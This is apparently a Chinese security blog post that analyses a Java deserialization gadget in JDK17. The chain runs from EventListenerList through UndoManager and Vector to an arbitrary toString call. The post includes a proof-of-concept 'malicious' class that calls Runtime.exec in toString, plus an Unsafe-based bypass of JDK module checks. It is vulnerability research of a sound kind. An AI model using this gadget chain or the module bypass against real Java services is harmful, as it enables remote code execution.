EventListenerList触发任意toString
发表于:2025-08-27 | 分类: Java

EventListenerList触发任意toString

前言

最近爆出来一个《高版本JDK下的Spring原生反序列化链》,本来想着学习一下最前沿的新东西,看了一下其它师傅的分析文章,好多没见过的知识点,慢慢补吧...

任意toString触发分析

这里我使用JDK17,因为最新的Spring原生反序列化链是基于JDK17的

攻击链分析

该链子的入口点为`EventListenerList#readObject`方法,首先调用`s.readObject`,将返回的对象强转为`EventListener`对象,因此我们需要找到一个可以强转为`EventListener`类的对象,且继承Serializable接口,可以进行序列化于反序列化

最终找到的类是UndoManager类,它实现了UndoableEditListener接口,同时UndoableEditListener继承了EventListener类,因此这里我们可以将UndoManager强转为EventListener

同时UndoManager类继承了compoundEdit类,compoundEdit继承AbstractUndoableEdit类,AbstractUndoableEdit实现了Serializable接口

回到readObject方法中,后面调用add(tmp,l)方法,这里的l就是我们的UndoManager

进入add方法,这里会判断 l对象是否为t类型,如果不是,就会抛出一个异常,但是在异常对象中进行了字符串于对象的拼接,在这里就会调用到UndoManager对象的toString方法

接下来我们就要跟到UndoManager#toString方法中,这里的limit和indexOfNextAdd都是INT类型,没有可以利用的地方,那么我们就跟super.toString

会跟到CompoundEdit#toString方法中,可以看到editsVector类型,这里也会进行字符串与对象的拼接,这里就会调用Vector#toString方法

跟进Vector#toString,跟进super.toString方法,会走到AbstractCollection#toString方法中,在该方法中新建了一个迭代器,将对象传入StringBuilder.append方法中

Vector中的对象,我们可以通过Vector.add方法将恶意类传入

跟进StringBuilder.append方法,然后跟进String.valueOf方法中,在这里就调用了obj.toString方法,这样我们就可以调用任意类的toString方法了

注意事项

需要注意在`EventListenerList#writeObject`序列化中,需要让`UndoManager`对象被这样写入`s.writeObject(l);`。

listenerList属性是一个Object列表,在该方法中写了一个for循环,可以看到i+=2,因此只有列表中的偶数位才会被s.writeObject(l);写入,因此在写入UndoManager对象前加一个Class即可

攻击链POC

首先写一个恶意类
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class User {
public String name;

public User(String name) {
this.name = name;
}

@Override
public String toString() {
try{
Runtime.getRuntime().exec("cacl");
}
catch(Exception e){}
return name;
}
}

然后写一个攻击链测试代码

需要注意的是,在JDK17中会进行模块检测,我们需要绕过。简单说Unsafe这里是用来修改我们调用类的模块,从而绕过模块检测。Unsafe是一个偏底层的函数,我们这里是通过找到Field的地址,然后修改其指向我们设置的值。

早在jdk9就开始了模块化,但是真正实施是在jdk17。模块化简单理解将就是 java为了安全有一些类不想让你直接调用,但是java模块里面的类又需要相互调用,所以反射和new一个对象的时候会对调用类和被调用类进行一个模块检测(这里不只是检测调用和被调用类的模块关系,还有其他判断)。好这里我们大概有个概念,jdk17 会进行模块检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
public class Test {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
//模块化绕过
patchModule(Test.class, UndoManager.class);

Vector vector = new Vector<>();
vector.add(new User("user"));

UndoManager undoManager = new UndoManager();
Field edits = undoManager.getClass().getSuperclass().getDeclaredField("edits");
edits.setAccessible(true);
edits.set(undoManager, vector);

EventListenerList eventListenerList = new EventListenerList();
Field listenerList = eventListenerList.getClass().getDeclaredField("listenerList");
listenerList.setAccessible(true);
listenerList.set(eventListenerList, new Object[]{Class.class,undoManager});

serialize(eventListenerList);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

private static void patchModule(Class clazz,Class goalclass){
try {
Class UnsafeClass = Class.forName("sun.misc.Unsafe");
Field unsafeField = UnsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe)unsafeField.get(null);
Object ObjectModule = Class.class.getMethod("getModule").invoke(goalclass);
Class currentClass = clazz;
long addr=unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(currentClass,addr,ObjectModule);
} catch (Exception e) {
}
}
}

小结

虽然这并不是一个完整的攻击链,但是感觉它可以作为一个攻击面很大的入口点,在最新的《高版本JDK下的Spring原生反序列化链》就是这样的
上一篇:
Jackson中getter触发不稳定问题
下一篇:
Jackson反序列化